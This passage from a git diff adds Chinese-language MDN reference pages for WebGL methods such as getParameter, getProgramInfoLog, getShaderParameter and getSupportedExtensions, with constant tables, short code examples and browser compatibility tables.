gl.CULL_FACE_MODE{{domxref("GLenum")}} 
gl.CURRENT_PROGRAM{{domxref("WebGLProgram")}} 
gl.DEPTH_BITS{{domxref("GLint")}} 
gl.DEPTH_CLEAR_VALUE{{domxref("GLfloat")}} 
gl.DEPTH_FUNC{{domxref("GLenum")}} 
gl.DEPTH_RANGE{{jsxref("Float32Array")}} (with 2 elements) 
gl.DEPTH_TEST{{domxref("GLboolean")}} 
gl.DEPTH_WRITEMASK{{domxref("GLboolean")}} 
gl.DITHER{{domxref("GLboolean")}} 
gl.ELEMENT_ARRAY_BUFFER_BINDING{{domxref("WebGLBuffer")}} 
gl.FRAMEBUFFER_BINDING{{domxref("WebGLFramebuffer")}} 
gl.FRONT_FACE{{domxref("GLenum")}} 
gl.GENERATE_MIPMAP_HINT{{domxref("GLenum")}} 
gl.GREEN_BITS{{domxref("GLint")}} 
gl.IMPLEMENTATION_COLOR_READ_FORMAT{{domxref("GLenum")}} 
gl.IMPLEMENTATION_COLOR_READ_TYPE{{domxref("GLenum")}} 
gl.LINE_WIDTH{{domxref("GLfloat")}} 
gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS{{domxref("GLint")}} 
gl.MAX_CUBE_MAP_TEXTURE_SIZE{{domxref("GLint")}} 
gl.MAX_FRAGMENT_UNIFORM_VECTORS{{domxref("GLint")}} 
gl.MAX_RENDERBUFFER_SIZE{{domxref("GLint")}} 
gl.MAX_TEXTURE_IMAGE_UNITS{{domxref("GLint")}} 
gl.MAX_TEXTURE_SIZE{{domxref("GLint")}} 
gl.MAX_VARYING_VECTORS{{domxref("GLint")}} 
gl.MAX_VERTEX_ATTRIBS{{domxref("GLint")}} 
gl.MAX_VERTEX_TEXTURE_IMAGE_UNITS{{domxref("GLint")}} 
gl.MAX_VERTEX_UNIFORM_VECTORS{{domxref("GLint")}} 
gl.MAX_VIEWPORT_DIMS{{jsxref("Int32Array")}} (with 2 elements) 
gl.PACK_ALIGNMENT{{domxref("GLint")}} 
gl.POLYGON_OFFSET_FACTOR{{domxref("GLfloat")}} 
gl.POLYGON_OFFSET_FILL{{domxref("GLboolean")}} 
gl.POLYGON_OFFSET_UNITS{{domxref("GLfloat")}} 
gl.RED_BITS{{domxref("GLint")}} 
gl.RENDERBUFFER_BINDING{{domxref("WebGLRenderbuffer")}} 
gl.RENDERER{{domxref("DOMString")}} 
gl.SAMPLE_BUFFERS{{domxref("GLint")}} 
gl.SAMPLE_COVERAGE_INVERT{{domxref("GLboolean")}} 
gl.SAMPLE_COVERAGE_VALUE{{domxref("GLfloat")}} 
gl.SAMPLES{{domxref("GLint")}} 
gl.SCISSOR_BOX{{jsxref("Int32Array")}} (with 4 elements) 
gl.SCISSOR_TEST{{domxref("GLboolean")}} 
gl.SHADING_LANGUAGE_VERSION{{domxref("DOMString")}} 
gl.STENCIL_BACK_FAIL{{domxref("GLenum")}} 
gl.STENCIL_BACK_FUNC{{domxref("GLenum")}} 
gl.STENCIL_BACK_PASS_DEPTH_FAIL{{domxref("GLenum")}} 
gl.STENCIL_BACK_PASS_DEPTH_PASS{{domxref("GLenum")}} 
gl.STENCIL_BACK_REF{{domxref("GLint")}} 
gl.STENCIL_BACK_VALUE_MASK{{domxref("GLuint")}} 
gl.STENCIL_BACK_WRITEMASK{{domxref("GLuint")}} 
gl.STENCIL_BITS{{domxref("GLint")}} 
gl.STENCIL_CLEAR_VALUE{{domxref("GLint")}} 
gl.STENCIL_FAIL{{domxref("GLenum")}} 
gl.STENCIL_FUNC{{domxref("GLenum")}} 
gl.STENCIL_PASS_DEPTH_FAIL{{domxref("GLenum")}} 
gl.STENCIL_PASS_DEPTH_PASS{{domxref("GLenum")}} 
gl.STENCIL_REF{{domxref("GLint")}} 
gl.STENCIL_TEST{{domxref("GLboolean")}} 
gl.STENCIL_VALUE_MASK{{domxref("GLuint")}} 
gl.STENCIL_WRITEMASK{{domxref("GLuint")}} 
gl.SUBPIXEL_BITS{{domxref("GLint")}} 
gl.TEXTURE_BINDING_2D{{domxref("WebGLTexture")}} 
gl.TEXTURE_BINDING_CUBE_MAP{{domxref("WebGLTexture")}} 
gl.UNPACK_ALIGNMENT{{domxref("GLint")}} 
gl.UNPACK_COLORSPACE_CONVERSION_WEBGL{{domxref("GLenum")}} 
gl.UNPACK_FLIP_Y_WEBGL{{domxref("GLboolean")}} 
gl.UNPACK_PREMULTIPLY_ALPHA_WEBGL{{domxref("GLboolean")}} 
gl.VENDOR{{domxref("DOMString")}} 
gl.VERSION{{domxref("DOMString")}} 
gl.VIEWPORT{{jsxref("Int32Array")}} (with 4 elements) 
+ +

WebGL 2

+ +

使用 {{domxref("WebGL2RenderingContext")}} 时,您可以查询以下 pname 参数。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量返回类型描述
gl.COPY_READ_BUFFER_BINDING{{domxref("WebGLBuffer")}} 
gl.COPY_WRITE_BUFFER_BINDING{{domxref("WebGLBuffer")}} 
gl.DRAW_BUFFERi{{domxref("GLenum")}} 
gl.DRAW_FRAMEBUFFER_BINDING{{domxref("WebGLFramebuffer")}} 
gl.FRAGMENT_SHADER_DERIVATIVE_HINT{{domxref("GLenum")}} 
gl.MAX_3D_TEXTURE_SIZE{{domxref("GLint")}} 
gl.MAX_ARRAY_TEXTURE_LAYERS{{domxref("GLint")}} 
gl.MAX_CLIENT_WAIT_TIMEOUT_WEBGL{{domxref("GLint64")}} 
gl.MAX_COLOR_ATTACHMENTS{{domxref("GLint")}} 
gl.MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS{{domxref("GLint64")}} 
gl.MAX_COMBINED_UNIFORM_BLOCKS{{domxref("GLint")}} 
gl.MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS{{domxref("GLint64")}} 
gl.MAX_DRAW_BUFFERS{{domxref("GLint")}} 
gl.MAX_ELEMENT_INDEX{{domxref("GLint64")}} 
gl.MAX_ELEMENTS_INDICES{{domxref("GLint")}} 
gl.MAX_ELEMENTS_VERTICES{{domxref("GLint")}} 
gl.MAX_FRAGMENT_INPUT_COMPONENTS{{domxref("GLint")}} 
gl.MAX_FRAGMENT_UNIFORM_BLOCKS{{domxref("GLint")}} 
gl.MAX_FRAGMENT_UNIFORM_COMPONENTS{{domxref("GLint")}} 
gl.MAX_PROGRAM_TEXEL_OFFSET{{domxref("GLint")}} 
gl.MAX_SAMPLES{{domxref("GLint")}} 
gl.MAX_SERVER_WAIT_TIMEOUT{{domxref("GLint64")}} 
gl.MAX_TEXTURE_LOD_BIAS{{domxref("GLfloat")}} 
gl.MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS{{domxref("GLint")}} 
gl.MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS{{domxref("GLint")}} 
gl.MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS{{domxref("GLint")}} 
gl.MAX_UNIFORM_BLOCK_SIZE{{domxref("GLint64")}} 
gl.MAX_UNIFORM_BUFFER_BINDINGS{{domxref("GLint")}} 
gl.MAX_VARYING_COMPONENTS{{domxref("GLint")}} 
gl.MAX_VERTEX_OUTPUT_COMPONENTS{{domxref("GLint")}} 
gl.MAX_VERTEX_UNIFORM_BLOCKS{{domxref("GLint")}} 
gl.MAX_VERTEX_UNIFORM_COMPONENTS{{domxref("GLint")}} 
gl.MIN_PROGRAM_TEXEL_OFFSET{{domxref("GLint")}} 
gl.PACK_ROW_LENGTH{{domxref("GLint")}} 
gl.PACK_SKIP_PIXELS{{domxref("GLint")}} 
gl.PACK_SKIP_ROWS{{domxref("GLint")}} 
gl.PIXEL_PACK_BUFFER_BINDING{{domxref("WebGLBuffer")}} 
gl.PIXEL_UNPACK_BUFFER_BINDING{{domxref("WebGLBuffer")}} 
gl.RASTERIZER_DISCARD{{domxref("GLboolean")}} 
gl.READ_BUFFER{{domxref("GLenum")}} 
gl.READ_FRAMEBUFFER_BINDING{{domxref("WebGLFramebuffer")}} 
gl.SAMPLE_ALPHA_TO_COVERAGE{{domxref("GLboolean")}} 
gl.SAMPLE_COVERAGE{{domxref("GLboolean")}} 
gl.SAMPLER_BINDING{{domxref("WebGLSampler")}} 
gl.TEXTURE_BINDING_2D_ARRAY{{domxref("WebGLTexture")}} 
gl.TEXTURE_BINDING_3D{{domxref("WebGLTexture")}} 
gl.TRANSFORM_FEEDBACK_ACTIVE{{domxref("GLboolean")}} 
gl.TRANSFORM_FEEDBACK_BINDING{{domxref("WebGLTransformFeedback")}} 
gl.TRANSFORM_FEEDBACK_BUFFER_BINDING{{domxref("WebGLBuffer")}} 
gl.TRANSFORM_FEEDBACK_PAUSED{{domxref("GLboolean")}} 
gl.UNIFORM_BUFFER_BINDING{{domxref("WebGLBuffer")}} 
gl.UNIFORM_BUFFER_OFFSET_ALIGNMENT{{domxref("GLint")}} 
gl.UNPACK_IMAGE_HEIGHT{{domxref("GLint")}} 
gl.UNPACK_ROW_LENGTH{{domxref("GLint")}} 
gl.UNPACK_SKIP_IMAGES{{domxref("GLint")}} 
gl.UNPACK_SKIP_PIXELS{{domxref("GLint")}} 
gl.UNPACK_SKIP_ROWS{{domxref("GLint")}} 
gl.VERTEX_ARRAY_BINDING{{domxref("WebGLVertexArrayObject")}} 
+ +

WebGL 扩展

+ +

当使用 WebGL 扩展 时,您可以查询以下 pname 参数:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量返回类型扩展描述
ext.MAX_TEXTURE_MAX_ANISOTROPY_EXT{{domxref("GLfloat")}}{{domxref("EXT_texture_filter_anisotropic")}}最大可用各向异性。
ext.FRAGMENT_SHADER_DERIVATIVE_HINT_OES{{domxref("GLenum")}}{{domxref("OES_standard_derivatives")}}GLSL 内置函数的导数计算精度:dFdx、 dFdy 和 fwidth
ext.MAX_COLOR_ATTACHMENTS_WEBGL{{domxref("GLint")}}{{domxref("WEBGL_draw_buffers")}}帧缓冲区颜色附着点的最大数量。
ext.MAX_DRAW_BUFFERS_WEBGL{{domxref("GLint")}}{{domxref("WEBGL_draw_buffers")}}绘图缓冲区的最大数量。
ext.DRAW_BUFFER0_WEBGL
+ ext.DRAW_BUFFER1_WEBGL
+ ext.DRAW_BUFFER2_WEBGL
+ ext.DRAW_BUFFER3_WEBGL
+ ext.DRAW_BUFFER4_WEBGL
+ ext.DRAW_BUFFER5_WEBGL
+ ext.DRAW_BUFFER6_WEBGL
+ ext.DRAW_BUFFER7_WEBGL
+ ext.DRAW_BUFFER8_WEBGL
+ ext.DRAW_BUFFER9_WEBGL
+ ext.DRAW_BUFFER10_WEBGL
+ ext.DRAW_BUFFER11_WEBGL
+ ext.DRAW_BUFFER12_WEBGL
+ ext.DRAW_BUFFER13_WEBGL
+ ext.DRAW_BUFFER14_WEBGL
+ ext.DRAW_BUFFER15_WEBGL
{{domxref("GLenum")}}{{domxref("WEBGL_draw_buffers")}}绘图缓冲区。
ext.VERTEX_ARRAY_BINDING_OES{{domxref("WebGLVertexArrayObjectOES")}}{{domxref("OES_vertex_array_object")}}绑定的顶点数组对象(VAO)。
ext.TIMESTAMP_EXT{{domxref("GLuint64EXT")}} +

{{domxref("EXT_disjoint_timer_query")}}

+
当前时间。
ext.GPU_DISJOINT_EXT{{domxref("GLboolean")}}{{domxref("EXT_disjoint_timer_query")}} +

返回 GPU 是否执行了任何不相交的操作。

+
+ +

示例

+ +
gl.getParameter(gl.DITHER);
+gl.getParameter(gl.VERSION);
+gl.getParameter(gl.VIEWPORT);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('WebGL', "#5.14.3", "getParameter")}}{{Spec2('WebGL')}}初始定义。
{{SpecName('WebGL2', "#3.7.2", "getParameter")}}{{Spec2('WebGL2')}}添加额外的参数名称。
{{SpecName('OpenGL ES 2.0', "glGet.xml", "glGet")}}{{Spec2('OpenGL ES 2.0')}}(类似的)OpenGL API的手册页。
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.getParameter")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/getprograminfolog/index.html b/files/zh-cn/web/api/webglrenderingcontext/getprograminfolog/index.html new file mode 100644 index 0000000000..8ba38fdf5e --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/getprograminfolog/index.html @@ -0,0 +1,80 @@ +--- +title: WebGLRenderingContext.getProgramInfoLog() +slug: Web/API/WebGLRenderingContext/getProgramInfoLog +translation_of: Web/API/WebGLRenderingContext/getProgramInfoLog +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.getProgramInfoLog  返回参数中指定的{{domxref("WebGLProgram")}} object 的信息. 这些信息包括在linking过程中的错误以及 WebGLProgram objects 合法性检查的错误.

+ +

Syntax

+ +
gl.getProgramInfoLog(program);
+ +

Parameters

+ +
+
program
+
A {{domxref("WebGLProgram")}} to query.
+
+ +

Return value

+ +

返回 {{domxref("DOMString")}} 包含 diagnostic , warning ...等等关于上一次linking和valiadation操作的信息. 对于刚刚创建的{{domxref("WebGLProgram")}} object , 返回一个空字符串.

+ +

Examples

+ +

Checking program errors

+ +
var canvas = document.getElementsById('canvas');
+var gl = canvas.getContext('webgl');
+var program = gl.createProgram();
+
+//vsSource is the source-code-string of vertex-shader
+//fsSource is the source-code-string of fragment-shader
+var vertexShader = loadShader(gl, gl.VERTEX_SHADER, vsSource);
+var fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fsSource);
+
+// Attach pre-existing shaders
+gl.attachShader(program, vertexShader);
+gl.attachShader(program, fragmentShader);
+
+gl.linkProgram(program);
+
+gl.getProgramInfoLog(program);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.9", "getProgramInfoLog")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glGetProgramInfoLog.xml", "glGetProgramInfoLog")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

Browser compatibility

+ + + +

{{Compat("api.WebGLRenderingContext.getProgramInfoLog")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/getprogramparameter/index.html b/files/zh-cn/web/api/webglrenderingcontext/getprogramparameter/index.html new file mode 100644 index 0000000000..91cba90cc1 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/getprogramparameter/index.html @@ -0,0 +1,89 @@ +--- +title: WebGLRenderingContext.getProgramParameter() +slug: Web/API/WebGLRenderingContext/getProgramParameter +translation_of: Web/API/WebGLRenderingContext/getProgramParameter +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.getProgramParameter() 方法返回WebGLProgram的信息。

+ +

语法

+ +
any gl.getProgramParameter(program, pname);
+
+ +

参数

+ +
+
program
+
A {{domxref("WebGLProgram")}} to get parameter information from.
+
pname
+
A {{domxref("Glenum")}} specifying the information to query. Possible values: +
    +
  • gl.DELETE_STATUS: Returns a {{domxref("GLboolean")}} indicating whether or not the program is flagged for deletion.
  • +
  • gl.LINK_STATUS: Returns a {{domxref("GLboolean")}} indicating whether or not the last link operation was successful.
  • +
  • gl.VALIDATE_STATUS: Returns a {{domxref("GLboolean")}} indicating whether or not the last validation operation was successful.
  • +
  • gl.ATTACHED_SHADERS: Returns a {{domxref("GLint")}} indicating the number of attached shaders to a program.
  • +
  • gl.ACTIVE_ATTRIBUTES: Returns a {{domxref("GLint")}} indicating the number of active attribute variables to a program.
  • +
  • gl.ACTIVE_UNIFORMS: Returns a {{domxref("GLint")}} indicating the number of active uniform variables to a program.
  • +
  • When using a {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, the following values are available additionally: +
      +
    • gl.TRANSFORM_FEEDBACK_BUFFER_MODE: Returns a {{domxref("GLenum")}} indicating the buffer mode when transform feedback is active. May be gl.SEPARATE_ATTRIBS or gl.INTERLEAVED_ATTRIBS.
    • +
    • gl.TRANSFORM_FEEDBACK_VARYINGS: Returns a {{domxref("GLint")}} indicating the number of varying variables to capture in transform feedback mode.
    • +
    • gl.ACTIVE_UNIFORM_BLOCKS: Returns a {{domxref("GLint")}} indicating the number of uniform blocks containing active uniforms.
    • +
    +
  • +
+
+
+ +

返回值

+ +

Returns the requested program information (as specified with pname).

+ +

例子

+ +
gl.getProgramParameter(program, gl.DELETE_STATUS);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.9", "getProgramParameter")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glGetProgramiv.xml", "glGetProgramiv")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL API.
{{SpecName('WebGL2', "#3.7.7", "getProgramParameter")}}{{Spec2('WebGL2')}}Adds new pname values:
+ gl.TRANSFORM_FEEDBACK_BUFFER_MODE,
+ gl.TRANSFORM_FEEDBACK_VARYINGS,
+ gl.ACTIVE_UNIFORM_BLOCKS
+ +

Browser compatibility

+ + + +

{{Compat("api.WebGLRenderingContext.getProgramParameter")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/getshaderparameter/index.html b/files/zh-cn/web/api/webglrenderingcontext/getshaderparameter/index.html new file mode 100644 index 0000000000..f9e76ea261 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/getshaderparameter/index.html @@ -0,0 +1,72 @@ +--- +title: WebGLRenderingContext.getShaderParameter() +slug: Web/API/WebGLRenderingContext/getShaderParameter +translation_of: Web/API/WebGLRenderingContext/getShaderParameter +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.getShaderParameter() 返回给定的着色器信息

+ +

语法

+ +
any gl.getShaderParameter(shader, pname);
+
+ +

参数

+ +
+
shader
+
需要获取信息的着色器对象
+
pname
+
指定要查询的信息属性名称
+
values: +
    +
  • gl.DELETE_STATUS:标示着色器是否被删除,删除(GL_TRUE)未删除(GL_FALSE).
  • +
  • gl.COMPILE_STATUS: 标示着色器是否编译成功,是(GL_TRUE)不是(GL_FALSE
  • +
  • gl.SHADER_TYPE: 标示着色器类型,是顶点着色器(gl.VERTEX_SHADER)还是片段着色器(gl.FRAGMENT_SHADER)
  • +
+
+
+ +

返回值

+ +

返回对应着色器属性信息

+ +

例子

+ +
gl.getShaderParameter(shader, gl.SHADER_TYPE);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.9", "getShaderParameter")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glGetShaderiv.xml", "glGetShaderiv")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.getShaderParameter")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/getshadersource/index.html b/files/zh-cn/web/api/webglrenderingcontext/getshadersource/index.html new file mode 100644 index 0000000000..377ff49e8d --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/getshadersource/index.html @@ -0,0 +1,67 @@ +--- +title: WebGLRenderingContext.getShaderSource() +slug: Web/API/WebGLRenderingContext/getShaderSource +translation_of: Web/API/WebGLRenderingContext/getShaderSource +--- +
{{APIRef("WebGL")}}
+ +
WebGL API 中的 WebGLRenderingContext.getShaderSource() 方法以{{domxref("DOMString")}}的形式返回了一个{{domxref("WebGLShader")}}的源码。
+ +

语法

+ +
DOMString gl.getShaderSource(shader);
+
+ +

参数

+ +
+
shader
+
要获取源码的 {{domxref("WebGLShader")}} 对象
+
+ +

返回值

+ +

一个包含了指定着色器的源码的 {{domxref("DOMString")}} 。

+ +

例子

+ +
var shader = gl.createShader(gl.VERTEX_SHADER);
+gl.shaderSource(shader, originalSource);
+
+var source = gl.getShaderSource(shader);
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.9", "getShaderSource")}}{{Spec2('WebGL')}}初始定义
{{SpecName('OpenGL ES 2.0', "glGetShaderSource.xml", "glGetShaderSource")}}{{Spec2('OpenGL ES 2.0')}}(类似) OpenGL API的手册
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.getShaderSource")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/getsupportedextensions/index.html b/files/zh-cn/web/api/webglrenderingcontext/getsupportedextensions/index.html new file mode 100644 index 0000000000..f203803fdf --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/getsupportedextensions/index.html @@ -0,0 +1,538 @@ +--- +title: WebGLRenderingContext.getSupportedExtensions() +slug: Web/API/WebGLRenderingContext/getSupportedExtensions +translation_of: Web/API/WebGLRenderingContext/getSupportedExtensions +--- +
{{APIRef("WebGL")}}
+ +

这个 WebGLRenderingContext.getSupportedExtensions() 方法返回一个所有的支持WebGL 扩展的列表。

+ +

语法

+ +
gl.getSupportedExtensions();
+ +

返回值

+ +

一个字符串 {{jsxref("Array")}} 数组,包含所有支持 WebGL 的扩展。

+ +

示例代码

+ +
var canvas = document.getElementById("canvas");
+gl = canvas.getContext("webgl");
+
+var extensions = gl.getSupportedExtensions();
+// Array [ "ANGLE_instanced_arrays", "EXT_blend_minmax", ... ]
+
+ +

浏览 {{domxref("WebGLRenderingContext.getExtension()")}} 方法得到一个特定的扩展对象。

+ +

WebGL 扩展

+ +

所有WebGL API 扩展都被注册在 WebGL Extension Registry 中。当前的扩展是:

+ +

{{page("en-US/docs/Web/API/WebGL_API", "Extension_interfaces")}}

+ +

规格说明书

+ + + + + + + + + + + + + + +
规格说明书状态注释
{{SpecName("WebGL", "#5.14.14", "WebGLRenderingContext.getSupportedExtensions")}}{{Spec2("WebGL")}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support9{{CompatGeckoDesktop("2.0")}}11125.1
ANGLE_instanced_arrays{{CompatUnknown}}{{CompatGeckoDesktop("33.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_blend_minmax{{CompatUnknown}}{{CompatGeckoDesktop("33.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_color_buffer_half_float{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_disjoint_timer_query{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_frag_depth{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_sRGB{{CompatUnknown}}{{CompatGeckoDesktop("28.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_shader_texture_lod{{CompatUnknown}}{{CompatGeckoDesktop("34.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_texture_filter_anisotropic{{CompatUnknown}}{{CompatGeckoDesktop("17.0")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_element_index_uint{{CompatUnknown}}{{CompatGeckoDesktop("24.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_standard_derivatives{{CompatUnknown}}{{CompatGeckoDesktop("10.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float{{CompatUnknown}}{{CompatGeckoDesktop("6.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float_linear{{CompatUnknown}}{{CompatGeckoDesktop("24.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float{{CompatUnknown}}{{CompatGeckoDesktop("29.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float_linear{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_vertex_array_object{{CompatUnknown}}{{CompatGeckoDesktop("25.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_color_buffer_float{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_atc{{CompatUnknown}}{{CompatGeckoDesktop("18.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_etc1{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_pvrtc{{CompatUnknown}}{{CompatGeckoDesktop("18.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc{{CompatUnknown}}{{CompatGeckoDesktop("15.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_renderer_info{{CompatUnknown}}{{CompatGeckoDesktop("19.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_shaders{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_depth_texture{{CompatUnknown}}{{CompatGeckoDesktop("17.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_draw_buffers{{CompatUnknown}}{{CompatGeckoDesktop("28.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_lose_context{{CompatUnknown}}{{CompatGeckoDesktop("19.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}25{{CompatGeckoMobile("2.0")}}{{CompatVersionUnknown}}128.1
ANGLE_instanced_arrays{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_blend_minmax{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_color_buffer_half_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_disjoint_timer_query{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_frag_depth{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_sRGB{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_shader_texture_lod{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_texture_filter_anisotropic{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_element_index_uint{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_standard_derivatives{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float_linear{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float_linear{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
